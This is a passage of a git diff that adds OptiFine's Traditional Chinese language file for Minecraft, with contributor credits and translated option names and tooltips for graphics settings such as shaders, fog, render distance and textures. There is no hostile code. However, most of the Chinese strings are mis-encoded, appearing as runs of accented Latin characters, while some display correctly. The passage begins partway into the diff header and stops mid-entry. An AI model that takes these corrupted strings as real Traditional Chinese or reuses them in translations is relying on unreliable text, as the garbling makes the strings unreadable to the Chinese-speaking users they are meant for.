b/src/assets/minecraft/optifine/lang/zh_tw.lang new file mode 100644 index 00000000..8d9ba310 --- /dev/null +++ b/src/assets/minecraft/optifine/lang/zh_tw.lang @@ -0,0 +1,725 @@ +# Contributors of Traditional Chinese localization # +# Degh_Cilon_ From WAWCraft 2016-02-18 ---- 2017-11-19 +# Shujinko_kun From MCHK 2016-02-25 ---- 2016-03-27 +# NatsuArashi (crowdin MC_PR) 2016-03-03 ---- 2018-06-18 +# pan93412 (crowdin pan93412) 2018-08-23 ---- 2018-08-23 +# NatsuArashi (crowdin MC_PR) ---- 2018-10-29 +##-------------- zh_TW --------------- + +# General +of.general.ambiguous=模糊 +of.general.custom=自訂 +of.general.from=來自 +of.general.id=Id +of.general.restart=é‡æ–°å•Ÿå‹• +of.general.smart=智慧 + +# Keys +of.key.zoom=縮放 + +# Message +of.message.aa.shaders1=å鋸齒與光影ä¸ç›¸å®¹ã€‚ +of.message.aa.shaders2=請關閉光影來啟用這個é¸é …。 + +of.message.af.shaders1=å„å‘異性éŽæ¿¾èˆ‡å…‰å½±ä¸ç›¸å®¹ã€‚ +of.message.af.shaders2=請關閉光影來啟用這個é¸é …。 + +of.message.fr.shaders1=快速繪製與光影ä¸ç›¸å®¹ã€‚ +of.message.fr.shaders2=請關閉光影來啟用這個é¸é …。 + +of.message.an.shaders1=3D 立體與光影ä¸ç›¸å®¹ã€‚ +of.message.an.shaders2=請關閉光影來啟用這個é¸é …。 + +of.message.shaders.aa1=光影與å鋸齒ä¸ç›¸å®¹ã€‚ +of.message.shaders.aa2=請把 å“質 -> å鋸齒 é¸é …設定為 關閉 並é‡å•Ÿä½ çš„éŠæˆ²ã€‚ + +of.message.shaders.af1=光影與å„å‘異性éŽæ¿¾ä¸ç›¸å®¹ã€‚ +of.message.shaders.af2=請把 å“質 -> å„å‘異性éŽæ¿¾ é¸é …設定為 關閉。 + +of.message.shaders.fr1=光影與快速繪製ä¸ç›¸å®¹ã€‚ +of.message.shaders.fr2=請把 效能 -> 快速繪製 é¸é …設定為 關閉。 + +of.message.shaders.an1=光影與 3D ç«‹é«”ä¸ç›¸å®¹ã€‚ +of.message.shaders.an2=請把 其他 -> 3D ç«‹é«” é¸é …設定為 關閉。 + +of.message.shaders.nv1=這個光影需è¦è¼ƒæ–°çš„ OptiFine 版本: %s +of.message.shaders.nv2=你確定è¦ç¹¼çºŒå—Žï¼Ÿ + +of.message.newVersion=æ–°çš„ §eOptiFine§f 版本已å¯ä¾›ä½¿ç”¨ï¼šÂ§e%s§f +of.message.java64Bit=ä½ å¯ä»¥å®‰è£ §e64 ä½å…ƒ Java§f 來æå‡æ•ˆèƒ½ã€‚ +of.message.openglError=§eOpenGL 錯誤§f: %s (%s) + +of.message.shaders.loading=正在載入光影:%s + +of.message.other.reset=確定è¦å°‡æ‰€æœ‰é¡¯ç¤ºè¨­å®šé‡è¨­è‡³é è¨­å€¼å—Žï¼Ÿ + +of.message.loadingVisibleChunks=正在載入å¯è¦‹å€å¡Š + +# Skin customization + +of.options.skinCustomisation.ofCape=OptiFine Cape... + +# Video settings + +options.graphics.tooltip.1=ç•«é¢å“質 +options.graphics.tooltip.2= æµæš¢ - 低畫質,較æµæš¢ +options.graphics.tooltip.3= 精緻 - 高畫質,較慢 +options.graphics.tooltip.4=改變雲ã€æ¨¹è‘‰ã€æ°´ã€ +options.graphics.tooltip.5=陰影與è‰åœ°å´é¢çš„外觀。 + +of.options.renderDistance.tiny=最近 +of.options.renderDistance.short=è¿‘ +of.options.renderDistance.normal=中等 +of.options.renderDistance.far=é  +of.options.renderDistance.extreme=è¶…é  +of.options.renderDistance.insane=ç—…æ…‹ +of.options.renderDistance.ludicrous=è’å” + +options.renderDistance.tooltip.1=視野è·é›¢ +options.renderDistance.tooltip.2= 2 最近 - 32m(最快) +options.renderDistance.tooltip.3= 8 中等 - 128m(正常) +options.renderDistance.tooltip.4= 16 é  - 256m(較慢) +options.renderDistance.tooltip.5= 32 è¶…é  - 512m(最慢ï¼ï¼‰éžå¸¸æ¶ˆè€—資æºï¼ +options.renderDistance.tooltip.6= 48 ç—…æ…‹ - 768m,需è¦åˆ†é… 2G 的記憶體 +options.renderDistance.tooltip.7= 64 è’å” - 1024m,需è¦åˆ†é… 3G 的記憶體 +options.renderDistance.tooltip.8=16 以上的視野值åªåœ¨æœ¬æ©Ÿä¸–界有效。 + +options.ao.tooltip.1=æŸ”å’Œå…‰æº +options.ao.tooltip.2= 關閉 - 無柔和光æºï¼ˆè¼ƒå¿«ï¼‰ +options.ao.tooltip.3= æœ€å° - 簡單柔和光æºï¼ˆè¼ƒæ…¢ï¼‰ +options.ao.tooltip.4= 最大 - 複雜柔和光æºï¼ˆæœ€æ…¢ï¼‰ + +options.framerateLimit.tooltip.1=最大 FPS +options.framerateLimit.tooltip.2= åž‚ç›´åŒæ­¥ - å—é™æ–¼èž¢å¹• FPS (60,30,20) +options.framerateLimit.tooltip.3= 5-255 - å¯è®Š +options.framerateLimit.tooltip.4= ç„¡é™åˆ¶ - ç„¡é™åˆ¶ï¼ˆæœ€å¿«ï¼‰ +options.framerateLimit.tooltip.5=å³ä½¿æœªé” FPS ä¸Šé™ +options.framerateLimit.tooltip.6=該é™åˆ¶ä»æœƒå½±éŸ¿ FPS。 +of.options.framerateLimit.vsync=åž‚ç›´åŒæ­¥ + +of.options.AO_LEVEL=æŸ”å’Œå…‰æº +of.options.AO_LEVEL.tooltip.1=æŸ”å’Œå…‰æº +of.options.AO_LEVEL.tooltip.2= 關閉 - 沒有陰影 +of.options.AO_LEVEL.tooltip.3= 50%% - 較亮的陰影 +of.options.AO_LEVEL.tooltip.4= 100%% - 較暗的陰影 + +options.viewBobbing.tooltip.1=更加真實的移動。 +options.viewBobbing.tooltip.2=當使用多精度æ質時,關閉它以å–得更佳效果。 + +options.guiScale.tooltip.1=介é¢å¤§å° +options.guiScale.tooltip.2= 自動 - 最大尺寸 +options.guiScale.tooltip.3= å°ï¼Œä¸­ï¼Œå¤§ - 1x 到 3x +options.guiScale.tooltip.4= 4x-10x - 僅é©ç”¨æ–¼ 4K 解æžåº¦ +options.guiScale.tooltip.5=奇數值的放大å€æ•¸ï¼ˆ1x,3x,5x...等)與 Unicode ä¸ç›¸å®¹ã€‚ +options.guiScale.tooltip.6=較å°çš„介é¢æˆ–許會更æµæš¢ã€‚ + +options.vbo=使用 VBOs +options.vbo.tooltip.1=啟用緩è¡å€é ‚點物件(VBOs) +options.vbo.tooltip.2=使用一種常見的替代繪製模型 +options.vbo.tooltip.3=比é è¨­ç¹ªè£½å¿« (5-10%%)。 + +options.gamma.tooltip.1=增加較暗物體的亮度 +options.gamma.tooltip.2= 幽暗 - 標準亮度 +options.gamma.tooltip.3= 1-99%% - å¯è®Šäº®åº¦ +options.gamma.tooltip.4= 明亮 - 最大亮度 +options.gamma.tooltip.5=æ­¤é¸é …ä¸æœƒæ”¹è®Š +options.gamma.tooltip.6=全黑物體的亮度。 + +options.anaglyph.tooltip.1=3D ç«‹é«” +options.anaglyph.tooltip.2=給予兩眼ä¸åŒçš„é¡è‰²ä»¥ +options.anaglyph.tooltip.3=é”æˆ 3D 立體的效果。 +options.anaglyph.tooltip.4=需è¦ä½¿ç”¨ç´…è—眼é¡é€²è¡Œè§€çœ‹ã€‚ + +of.options.ALTERNATE_BLOCKS=æ–¹å¡Šæ›¿æ› +of.options.ALTERNATE_BLOCKS.tooltip.1=æ–¹å¡Šæ›¿æ› +of.options.ALTERNATE_BLOCKS.tooltip.2=為一些方塊使用備用的方塊模型。 +of.options.ALTERNATE_BLOCKS.tooltip.3=å–決於é¸ç”¨çš„資æºåŒ…。 + +of.options.FOG_FANCY=迷霧 +of.options.FOG_FANCY.tooltip.1=迷霧類型 +of.options.FOG_FANCY.tooltip.2= æµæš¢ - 較æµæš¢çš„迷霧 +of.options.FOG_FANCY.tooltip.3= 精緻 - 較慢的迷霧,視覺效果較佳 +of.options.FOG_FANCY.tooltip.4= 關閉 - 無迷霧,最快 +of.options.FOG_FANCY.tooltip.5=精緻的迷霧åªæœ‰ç•¶é¡¯å¡ +of.options.FOG_FANCY.tooltip.6=支æ´æ™‚æ‰å¯ä½¿ç”¨ã€‚ + +of.options.FOG_START=迷霧出ç¾è·é›¢ +of.options.FOG_START.tooltip.1=迷霧出ç¾è·é›¢ +of.options.FOG_START.tooltip.2= 0.2 - 迷霧出ç¾æ–¼çŽ©å®¶å‘¨åœ +of.options.FOG_START.tooltip.3= 0.8 - 迷霧出ç¾æ–¼é›¢çŽ©å®¶è¼ƒé çš„地方 +of.options.FOG_START.tooltip.4=æ­¤é¸é …通常ä¸æœƒå½±éŸ¿æ•ˆèƒ½ã€‚ + +of.options.CHUNK_LOADING=å€å¡Šè¼‰å…¥ +of.options.CHUNK_LOADING.tooltip.1=å€å¡Šè¼‰å…¥ +of.options.CHUNK_LOADING.tooltip.2= é è¨­ - 當載入å€å¡Šæ™‚ FPS ä¸ç©©å®š +of.options.CHUNK_LOADING.tooltip.3= 柔和化 - 穩定 FPS +of.options.CHUNK_LOADING.tooltip.4= 多核心 - 穩定 FPS,三å€çš„世界載入速度 +of.options.CHUNK_LOADING.tooltip.5=柔和化和多核心å¯æ¶ˆé™¤ç”±å€å¡Š +of.options.CHUNK_LOADING.tooltip.6=載入引起的延é²å’Œå¡é “。 +of.options.CHUNK_LOADING.tooltip.7=多核心å¯ä»¥ä»¤ä¸–界載入速度æå‡ä¸‰å€ +of.options.CHUNK_LOADING.tooltip.8=並通éŽä½¿ç”¨å¤šå€‹ CPU 核心來æå‡ FPS。 +of.options.chunkLoading.smooth=柔和 +of.options.chunkLoading.multiCore=多核心 + +of.options.shaders=光影... +of.options.shadersTitle=光影 + +of.options.shaders.packNone=關閉 +of.options.shaders.packDefault=(內建) + +of.options.shaders.ANTIALIASING=å鋸齒 +of.options.shaders.ANTIALIASING.tooltip.1=å鋸齒 +of.options.shaders.ANTIALIASING.tooltip.2= 關閉 - (é è¨­ï¼‰åœç”¨å鋸齒(較快) +of.options.shaders.ANTIALIASING.tooltip.3= FXAA 2x, 4x - å°ç·šå’Œé‚Šç·£å鋸齒處ç†ï¼ˆè¼ƒæ…¢ï¼‰ +of.options.shaders.ANTIALIASING.tooltip.4=FXAA 是一種平滑鋸齒線和鮮明的色彩éŽæ¸¡çš„ +of.options.shaders.ANTIALIASING.tooltip.5=後處ç†ç‰¹æ•ˆã€‚ +of.options.shaders.ANTIALIASING.tooltip.6=它ä¸åƒ…快於傳統的å鋸齒處ç†ï¼Œ +of.options.shaders.ANTIALIASING.tooltip.7=åŒæ™‚也與光影和快速繪製相容。 + +of.options.shaders.NORMAL_MAP=法線貼圖 +of.options.shaders.NORMAL_MAP.tooltip.1=法線貼圖 +of.options.shaders.NORMAL_MAP.tooltip.2= é–‹å•Ÿ - (é è¨­ï¼‰å•Ÿç”¨æ³•ç·šè²¼åœ– +of.options.shaders.NORMAL_MAP.tooltip.3= 關閉 - åœç”¨æ³•ç·šè²¼åœ– +of.options.shaders.NORMAL_MAP.tooltip.4=光影包å¯ä»¥ä½¿ç”¨æ³•ç·šè²¼åœ–以在 +of.options.shaders.NORMAL_MAP.tooltip.5=å¹³é¢çš„模型表é¢æ¨¡æ“¬ç«‹é«”幾何çµæ§‹ã€‚ +of.options.shaders.NORMAL_MAP.tooltip.6=法線貼圖æ質一般由 +of.options.shaders.NORMAL_MAP.tooltip.7=ç›®å‰çš„資æºåŒ…æ供。 + +of.options.shaders.SPECULAR_MAP=é¡é¢è²¼åœ– +of.options.shaders.SPECULAR_MAP.tooltip.1=é¡é¢è²¼åœ– +of.options.shaders.SPECULAR_MAP.tooltip.2= é–‹å•Ÿ - (é è¨­ï¼‰å•Ÿç”¨é¡é¢è²¼åœ– +of.options.shaders.SPECULAR_MAP.tooltip.3= 關閉 - åœç”¨é¡é¢è²¼åœ– +of.options.shaders.SPECULAR_MAP.tooltip.4=光影包å¯ä»¥ä½¿ç”¨é¡é¢è²¼åœ– +of.options.shaders.SPECULAR_MAP.tooltip.5=來模擬特殊的å射效果。 +of.options.shaders.SPECULAR_MAP.tooltip.6=é¡é¢è²¼åœ–æ質一般由 +of.options.shaders.SPECULAR_MAP.tooltip.7=ç›®å‰çš„資æºåŒ…æ供。 + +of.options.shaders.RENDER_RES_MUL=繪製å“質 +of.options.shaders.RENDER_RES_MUL.tooltip.1=繪製å“質 +of.options.shaders.RENDER_RES_MUL.tooltip.2= 0.5x - 低(最快) +of.options.shaders.RENDER_RES_MUL.tooltip.3= 1x - 標準(é è¨­ï¼‰ +of.options.shaders.RENDER_RES_MUL.tooltip.4= 2x - 高(最慢) +of.options.shaders.RENDER_RES_MUL.tooltip.5=繪製å“質控制光影包所 +of.options.shaders.RENDER_RES_MUL.tooltip.6=繪製的æ質尺寸。 +of.options.shaders.RENDER_RES_MUL.tooltip.7=較低的值較有利於 4K 顯示。 +of.options.shaders.RENDER_RES_MUL.tooltip.8=較高的值用於å鋸齒éŽæ¿¾æŽ¡æ¨£ã€‚ + +of.options.shaders.SHADOW_RES_MUL=é™°å½±å“質 +of.options.shaders.SHADOW_RES_MUL.tooltip.1=é™°å½±å“質 +of.options.shaders.SHADOW_RES_MUL.tooltip.2= 0.5x - 低(最快) +of.options.shaders.SHADOW_RES_MUL.tooltip.3= 1x - 標準(é è¨­ï¼‰ +of.options.shaders.SHADOW_RES_MUL.tooltip.4= 2x - 高(最慢) +of.options.shaders.SHADOW_RES_MUL.tooltip.5=é™°å½±å“質控制光影包使用的 +of.options.shaders.SHADOW_RES_MUL.tooltip.6=陰影映射貼圖的大å°ã€‚ +of.options.shaders.SHADOW_RES_MUL.tooltip.7=較低的值 = ä¸ç²¾ç¢ºçš„ã€ç²—糙的陰影。 +of.options.shaders.SHADOW_RES_MUL.tooltip.8=較高的值 = 精緻的ã€æ›´ä½³çš„陰影。 + +of.options.shaders.HAND_DEPTH_MUL=手部深度 +of.options.shaders.HAND_DEPTH_MUL.tooltip.1=手部深度 +of.options.shaders.HAND_DEPTH_MUL.tooltip.2= 0.5x - 手與é¡é ­ç›¸è·è¼ƒè¿‘ +of.options.shaders.HAND_DEPTH_MUL.tooltip.3= 1x - (é è¨­ï¼‰ +of.options.shaders.HAND_DEPTH_MUL.tooltip.4= 2x - 手與é¡é ­ç›¸è·è¼ƒé  +of.options.shaders.HAND_DEPTH_MUL.tooltip.5=手部深度控制手æŒçš„物å“與 +of.options.shaders.HAND_DEPTH_MUL.tooltip.6=é¡é ­çš„è·é›¢ã€‚ +of.options.shaders.HAND_DEPTH_MUL.tooltip.7=æ­¤é¸é …å°æ–¼ä½¿ç”¨æ¨¡ç³Šæ™¯æ·±çš„光影包 +of.options.shaders.HAND_DEPTH_MUL.tooltip.8=應該會改變手æŒç‰©å“的模糊程度。 + +of.options.shaders.CLOUD_SHADOW=雲影 + +of.options.shaders.OLD_HAND_LIGHT=經典手æŒå…‰æº +of.options.shaders.OLD_HAND_LIGHT.tooltip.1=經典手æŒå…‰æº +of.options.shaders.OLD_HAND_LIGHT.tooltip.2= é è¨­ - 由光影包控制 +of.options.shaders.OLD_HAND_LIGHT.tooltip.3= é–‹å•Ÿ - 使用經典手æŒå…‰æº +of.options.shaders.OLD_HAND_LIGHT.tooltip.4= 關閉 - 使用新å¼æ‰‹æŒå…‰æº +of.options.shaders.OLD_HAND_LIGHT.tooltip.5=經典手æŒå…‰æºå…許åªèƒ½è¾¨è­˜ä¸»æ‰‹ +of.options.shaders.OLD_HAND_LIGHT.tooltip.6=發光物å“的光影包也能夠 +of.options.shaders.OLD_HAND_LIGHT.tooltip.7=作用於副手。 + +of.options.shaders.OLD_LIGHTING=ç¶“å…¸å…‰æº +of.options.shaders.OLD_LIGHTING.tooltip.1=ç¶“å…¸å…‰æº +of.options.shaders.OLD_LIGHTING.tooltip.2= é è¨­ - 由光影包控制 +of.options.shaders.OLD_LIGHTING.tooltip.3= é–‹å•Ÿ - ä½¿ç”¨ç¶“å…¸å…‰æº +of.options.shaders.OLD_LIGHTING.tooltip.4= 關閉 - ä¸ä½¿ç”¨ç¶“å…¸å…‰æº +of.options.shaders.OLD_LIGHTING.tooltip.5=使用經典光æºæ™‚則採用原版的固定照明。 +of.options.shaders.OLD_LIGHTING.tooltip.6=在這種情æ³ä¸‹ï¼Œæ–¹å¡Šå„é¢çš„照明會始終如一。 +of.options.shaders.OLD_LIGHTING.tooltip.7=使用陰影的光影包通常會æä¾› +of.options.shaders.OLD_LIGHTING.tooltip.8=更好的ã€å–決於太陽ä½ç½®çš„å…‰æºã€‚ + +of.options.shaders.DOWNLOAD=光影下載 +of.options.shaders.DOWNLOAD.tooltip.1=下載光影 +of.options.shaders.DOWNLOAD.tooltip.2= +of.options.shaders.DOWNLOAD.tooltip.3=在ç€è¦½å™¨ä¸­æ‰“開光影包é é¢ã€‚ +of.options.shaders.DOWNLOAD.tooltip.4=將已下載完æˆçš„光影置於「光影資料夾ã€ä¸­ï¼Œ +of.options.shaders.DOWNLOAD.tooltip.5=它們將出ç¾åœ¨å·²å®‰è£çš„光影列表裡。 + +of.options.shaders.SHADER_PACK=光影包資料夾 + +of.options.shaders.shadersFolder=光影資料夾 +of.options.shaders.shaderOptions=光影設定... + +of.options.shaderOptionsTitle=光影設定 + +of.options.quality=å“質... +of.options.qualityTitle=å“質設定 + +of.options.details=細節... +of.options.detailsTitle=細節設定 + +of.options.performance=效能... +of.options.performanceTitle=效能設定 + +of.options.animations=å‹•ç•«... +of.options.animationsTitle=動畫設定 + +of.options.other=其他... +of.options.otherTitle=其他設定 + +of.options.other.reset=é‡è¨­è¦–訊設定... + +of.shaders.profile=設定檔 + +# Quality + +of.options.mipmap.bilinear=雙線性 +of.options.mipmap.linear=線性 +of.options.mipmap.nearest=最近 +of.options.mipmap.trilinear=三線性 + +options.mipmapLevels.tooltip.1=å°‡æ質柔和化以使é è™•çš„物體 +options.mipmapLevels.tooltip.2=更好看的視覺效果。 +options.mipmapLevels.tooltip.3= 關閉 - 無柔和化 +options.mipmapLevels.tooltip.4= 1 - 最å°æŸ”和化 +options.mipmapLevels.tooltip.5= 4 - 最大柔和化 +options.mipmapLevels.tooltip.6=æ­¤é¸é …通常ä¸å½±éŸ¿æ•ˆèƒ½ã€‚ + +of.options.MIPMAP_TYPE=多精度æ質類型 +of.options.MIPMAP_TYPE.tooltip.1=å°‡æ質柔和化以使é è™•çš„物體 +of.options.MIPMAP_TYPE.tooltip.2=更好看的視覺效果。 +of.options.MIPMAP_TYPE.tooltip.3= 最近 - 粗糙柔和化(最快) +of.options.MIPMAP_TYPE.tooltip.4= 線性 - 正常柔和化 +of.options.MIPMAP_TYPE.tooltip.5= 雙線性 - 精細柔和化 +of.options.MIPMAP_TYPE.tooltip.6= 三線性 - 最佳柔和化(最慢) + + +of.options.AA_LEVEL=å鋸齒 +of.options.AA_LEVEL.tooltip.1=å鋸齒 +of.options.AA_LEVEL.tooltip.2= 關閉 - (é è¨­ï¼‰ç„¡å鋸齒(較快) +of.options.AA_LEVEL.tooltip.3= 2-16 - å°ç·šèˆ‡é‚Šç·£é€²è¡Œå鋸齒處ç†ï¼ˆè¼ƒæ…¢ï¼‰ +of.options.AA_LEVEL.tooltip.4=å鋸齒å°é‹¸é½’線和鮮明的色彩éŽæ¸¡ +of.options.AA_LEVEL.tooltip.5=進行平滑處ç†ã€‚ +of.options.AA_LEVEL.tooltip.6=啟用它å¯èƒ½æœƒå¤§å¹…é™ä½Ž FPS。 +of.options.AA_LEVEL.tooltip.7=並éžæ‰€æœ‰ç­‰ç´šéƒ½é¡¯å¡éƒ½æ”¯æ´ã€‚ +of.options.AA_LEVEL.tooltip.8=é‡å•Ÿå¾Œç”Ÿæ•ˆï¼ + +of.options.AF_LEVEL=å„å‘異性éŽæ¿¾ +of.options.AF_LEVEL.tooltip.1=å„å‘異性éŽæ¿¾ +of.options.AF_LEVEL.tooltip.2= 關閉 - (é è¨­ï¼‰æ¨™æº–æ質細節(較快) +of.options.AF_LEVEL.tooltip.3= 2-16 - 為多級æ質éŽæ¿¾å¾Œçš„æ質æ供精細細節(較慢) +of.options.AF_LEVEL.tooltip.4=å„å‘異性éŽæ¿¾é‚„原了經多次 +of.options.AF_LEVEL.tooltip.5=æ質éŽæ¿¾å¾Œçš„æ質細節。 +of.options.AF_LEVEL.tooltip.6=啟用它å¯èƒ½æœƒå¤§å¹…é™ä½Ž FPS。 + +of.options.CLEAR_WATER=清澈水體 +of.options.CLEAR_WATER.tooltip.1=清澈水體 +of.options.CLEAR_WATER.tooltip.2= é–‹å•Ÿ - 清澈,é€æ˜Žæ°´é«” +of.options.CLEAR_WATER.tooltip.3= 關閉 - é è¨­æ°´é«” + +of.options.RANDOM_ENTITIES=隨機實體æ質 +of.options.RANDOM_ENTITIES.tooltip.1=隨機實體æ質 +of.options.RANDOM_ENTITIES.tooltip.2= 關閉 - 關閉隨機實體æ質,較快 +of.options.RANDOM_ENTITIES.tooltip.3= é–‹å•Ÿ - 隨機實體æ質,較慢 +of.options.RANDOM_ENTITIES.tooltip.4=éŠæˆ²ä¸­çš„實體使用隨機的相應貼圖。 +of.options.RANDOM_ENTITIES.tooltip.5=需è¦è³‡æºåŒ…內有多個實體貼圖。 + +of.options.BETTER_GRASS=更好的è‰åœ° +of.options.BETTER_GRASS.tooltip.1=更好的è‰åœ° +of.options.BETTER_GRASS.tooltip.2= 關閉 - é è¨­è‰åœ°æ質,較快 +of.options.BETTER_GRASS.tooltip.3= æµæš¢ - è‰æ–¹å¡Šå´é¢å…¨éƒ¨ä½¿ç”¨è‰åœ°æ質,較慢 +of.options.BETTER_GRASS.tooltip.4= 精緻 - è‰æ–¹å¡Šå´é¢æ質動態化,最慢 + +of.options.BETTER_SNOW=更好的雪地 +of.options.BETTER_SNOW.tooltip.1=更好的雪地 +of.options.BETTER_SNOW.tooltip.2= 關閉 - é è¨­çš„雪地,較快 +of.options.BETTER_SNOW.tooltip.3= é–‹å•Ÿ - 更好的雪地,較慢 +of.options.BETTER_SNOW.tooltip.4=在é€æ˜Žæ–¹å¡Šï¼ˆå¦‚柵欄ã€è‰å¢ï¼‰èˆ‡é›ª +of.options.BETTER_SNOW.tooltip.5=接壤時在其下方顯示雪。 + +of.options.CUSTOM_FONTS=自訂字體 +of.options.CUSTOM_FONTS.tooltip.1=自訂字體 +of.options.CUSTOM_FONTS.tooltip.2= é–‹å•Ÿ - 使用自訂字體(é è¨­ï¼‰ï¼Œè¼ƒæ…¢ +of.options.CUSTOM_FONTS.tooltip.3= 關閉 - 使用é è¨­å­—體,較快 +of.options.CUSTOM_FONTS.tooltip.4=自訂字體一般由 +of.options.CUSTOM_FONTS.tooltip.5=ç›®å‰çš„資æºåŒ…æ供。 + +of.options.CUSTOM_COLORS=自訂色彩 +of.options.CUSTOM_COLORS.tooltip.1=自訂色彩 +of.options.CUSTOM_COLORS.tooltip.2= é–‹å•Ÿ - 使用自訂色彩(é è¨­ï¼‰ï¼Œè¼ƒæ…¢ +of.options.CUSTOM_COLORS.tooltip.3= 關閉 - 使用é è¨­è‰²å½©ï¼Œè¼ƒå¿« +of.options.CUSTOM_COLORS.tooltip.4=自訂色彩一般由 +of.options.CUSTOM_COLORS.tooltip.5=ç›®å‰çš„資æºåŒ…æ供。 + +of.options.SWAMP_COLORS=沼澤é¡è‰² +of.options.SWAMP_COLORS.tooltip.1=沼澤é¡è‰² +of.options.SWAMP_COLORS.tooltip.2= é–‹å•Ÿ - 使用沼澤é¡è‰²ï¼ˆé è¨­ï¼‰ï¼Œè¼ƒæ…¢ +of.options.SWAMP_COLORS.tooltip.3= 關閉 - ä¸ä½¿ç”¨æ²¼æ¾¤é¡è‰²ï¼Œè¼ƒå¿« +of.options.SWAMP_COLORS.tooltip.4=沼澤的é¡è‰²æœƒå½±éŸ¿è‰ã€æ¨¹è‘‰ã€ç±è”“和水。 + +of.options.SMOOTH_BIOMES=柔和化生態域 +of.options.SMOOTH_BIOMES.tooltip.1=柔和化生態域 +of.options.SMOOTH_BIOMES.tooltip.2= é–‹å•Ÿ - 柔和化生態域的邊界(é è¨­ï¼‰ï¼Œè¼ƒæ…¢ +of.options.SMOOTH_BIOMES.tooltip.3= 關閉 - ä¸æŸ”和化生態域的邊界,較快 +of.options.SMOOTH_BIOMES.tooltip.4=柔和化生態域的邊界平滑å–樣於 +of.options.SMOOTH_BIOMES.tooltip.5=附近所有方塊é¡è‰²çš„å¹³å‡å€¼ã€‚ +of.options.SMOOTH_BIOMES.tooltip.6=è‰ã€æ¨¹è‘‰ã€ç±è”“和水皆會å—影響。 + +of.options.CONNECTED_TEXTURES=連接æ質 +of.options.CONNECTED_TEXTURES.tooltip.1=連接æ質 +of.options.CONNECTED_TEXTURES.tooltip.2= 關閉 - 關閉連接æ質(é è¨­ï¼‰ +of.options.CONNECTED_TEXTURES.tooltip.3= æµæš¢ - 快速處ç†é€£æŽ¥æ質 +of.options.CONNECTED_TEXTURES.tooltip.4= 精緻 - 精細處ç†é€£æŽ¥æ質 +of.options.CONNECTED_TEXTURES.tooltip.5=連接æ質為玻璃ã€æ²™çŸ³å’Œæ›¸æž¶å¢žåŠ äº†é€£æŽ¥æ質, +of.options.CONNECTED_TEXTURES.tooltip.6=當它們互相放在一起時會將æ質接為一體。 +of.options.CONNECTED_TEXTURES.tooltip.7=連接æ質一般由目å‰çš„ +of.options.CONNECTED_TEXTURES.tooltip.8=資æºåŒ…æ供。 + +of.options.NATURAL_TEXTURES=自然æ質 +of.options.NATURAL_TEXTURES.tooltip.1=自然æ質 +of.options.NATURAL_TEXTURES.tooltip.2= 關閉 - 關閉自然æ質(é è¨­ï¼‰ +of.options.NATURAL_TEXTURES.tooltip.3= é–‹å•Ÿ - 使用自然æ質 +of.options.NATURAL_TEXTURES.tooltip.4=自然æ質移除由åŒä¸€é¡žåž‹çš„方塊 +of.options.NATURAL_TEXTURES.tooltip.5=é‡è¤‡æ”¾ç½®æ‰€ç”¢ç”Ÿçš„柵格狀圖案。 +of.options.NATURAL_TEXTURES.tooltip.6=它通éŽæ—‹è½‰å’Œç¿»è½‰æ–¹å¡Šçš„基礎æ質 +of.options.NATURAL_TEXTURES.tooltip.7=來產生æ質變體。自然æ質的設定 +of.options.NATURAL_TEXTURES.tooltip.8=å’Œæ質一般由目å‰çš„資æºåŒ…æ供。 + +of.options.EMISSIVE_TEXTURES=é¡é¢æ質 +of.options.EMISSIVE_TEXTURES.tooltip.1=é¡é¢æ質 +of.options.EMISSIVE_TEXTURES.tooltip.2= 關閉 - 關閉é¡é¢æ質(é è¨­ï¼‰ +of.options.EMISSIVE_TEXTURES.tooltip.3= é–‹å•Ÿ - 使用é¡é¢æ質 +of.options.EMISSIVE_TEXTURES.tooltip.4=光亮æ質被繪製為全亮度 +of.options.EMISSIVE_TEXTURES.tooltip.5=的覆蓋層。它們å¯ä»¥ç”¨ä¾† +of.options.EMISSIVE_TEXTURES.tooltip.6=模擬基本æ質的發光部分。 +of.options.EMISSIVE_TEXTURES.tooltip.7=é¡é¢æ質一般由目å‰çš„ +of.options.EMISSIVE_TEXTURES.tooltip.8=資æºåŒ…æ供。 + +of.options.CUSTOM_SKY=自訂天空 +of.options.CUSTOM_SKY.tooltip.1=自訂天空 +of.options.CUSTOM_SKY.tooltip.2= é–‹å•Ÿ - 自訂天空æ質(é è¨­ï¼‰ï¼Œè¼ƒæ…¢ +of.options.CUSTOM_SKY.tooltip.3= 關閉 - é è¨­å¤©ç©ºæ質,較快 +of.options.CUSTOM_SKY.tooltip.4=自訂天空æ質一般由 +of.options.CUSTOM_SKY.tooltip.5=ç›®å‰çš„資æºåŒ…æ供。 + +of.options.CUSTOM_ITEMS=è‡ªè¨‚ç‰©å“ +of.options.CUSTOM_ITEMS.tooltip.1=è‡ªè¨‚ç‰©å“ +of.options.CUSTOM_ITEMS.tooltip.2= é–‹å•Ÿ - 自訂物å“æ質(é è¨­ï¼‰ï¼Œè¼ƒæ…¢ +of.options.CUSTOM_ITEMS.tooltip.3= 關閉 - 原版物å“æ質,較快 +of.options.CUSTOM_ITEMS.tooltip.4=自訂物å“æ質一般由 +of.options.CUSTOM_ITEMS.tooltip.5=ç›®å‰çš„資æºåŒ…æ供。 + +of.options.CUSTOM_ENTITY_MODELS=自訂實體模型 +of.options.CUSTOM_ENTITY_MODELS.tooltip.1=自訂實體模型 +of.options.CUSTOM_ENTITY_MODELS.tooltip.2= é–‹å•Ÿ - 自訂實體模型(é è¨­ï¼‰ï¼Œè¼ƒæ…¢ +of.options.CUSTOM_ENTITY_MODELS.tooltip.3= 關閉 - 原版實體模型,較快 +of.options.CUSTOM_ENTITY_MODELS.tooltip.4=自訂實體模型一般由 +of.options.CUSTOM_ENTITY_MODELS.tooltip.5=ç›®å‰çš„資æºåŒ…æ供。 + +of.options.CUSTOM_GUIS=è‡ªè¨‚ä»‹é¢ +of.options.CUSTOM_GUIS.tooltip.1=è‡ªè¨‚ä»‹é¢ +of.options.CUSTOM_GUIS.tooltip.2= é–‹å•Ÿ - 自訂介é¢ï¼ˆé è¨­ï¼‰ï¼Œè¼ƒæ…¢ +of.options.CUSTOM_GUIS.tooltip.3= 關閉 - 原版介é¢ï¼Œè¼ƒå¿« +of.options.CUSTOM_GUIS.tooltip.4=自訂介é¢ä¸€èˆ¬ç”±ç›®å‰çš„資æºåŒ…æ供。 + +# Details + +of.options.CLOUDS=雲 +of.options.CLOUDS.tooltip.1=雲 +of.options.CLOUDS.tooltip.2= é è¨­ - 以「畫é¢å“質ã€çš„設定為準 +of.options.CLOUDS.tooltip.3= æµæš¢ - 低å“質,較快 +of.options.CLOUDS.tooltip.4= 精緻 - 高å“質,較慢 +of.options.CLOUDS.tooltip.5= 關閉 - 